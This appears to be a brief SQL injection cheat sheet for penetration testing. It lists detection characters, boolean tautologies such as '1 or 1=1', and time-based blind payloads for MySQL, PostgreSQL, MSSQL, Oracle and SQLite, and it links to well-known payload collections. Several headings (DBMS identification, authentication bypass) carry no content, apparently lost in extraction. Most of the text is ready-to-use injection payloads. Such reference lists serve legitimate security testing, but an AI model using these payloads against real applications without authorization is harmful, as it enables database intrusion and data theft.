SQL Injection
Entry point detection
Error Messages
'
%27
"
%22
#
%23
;
%3B
)Logical Operations
1 or 1=1 -- true
1 and 1=2 -- falseTime/Blind
-- MySQL --
sleep(10)
-- PostgreSQL --
pg_sleep(10)
-- MSSQL --
WAITFOR DELAY '0:0:10'
-- Oracle --
[RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
-- SQLite --
[RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))DBMS Identification
Authentication Bypass
Cheatsheets
References
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://book.hacktricks.xyz/pentesting-web/sql-injection https://pentestmonkey.net/category/cheat-sheet/sql-injection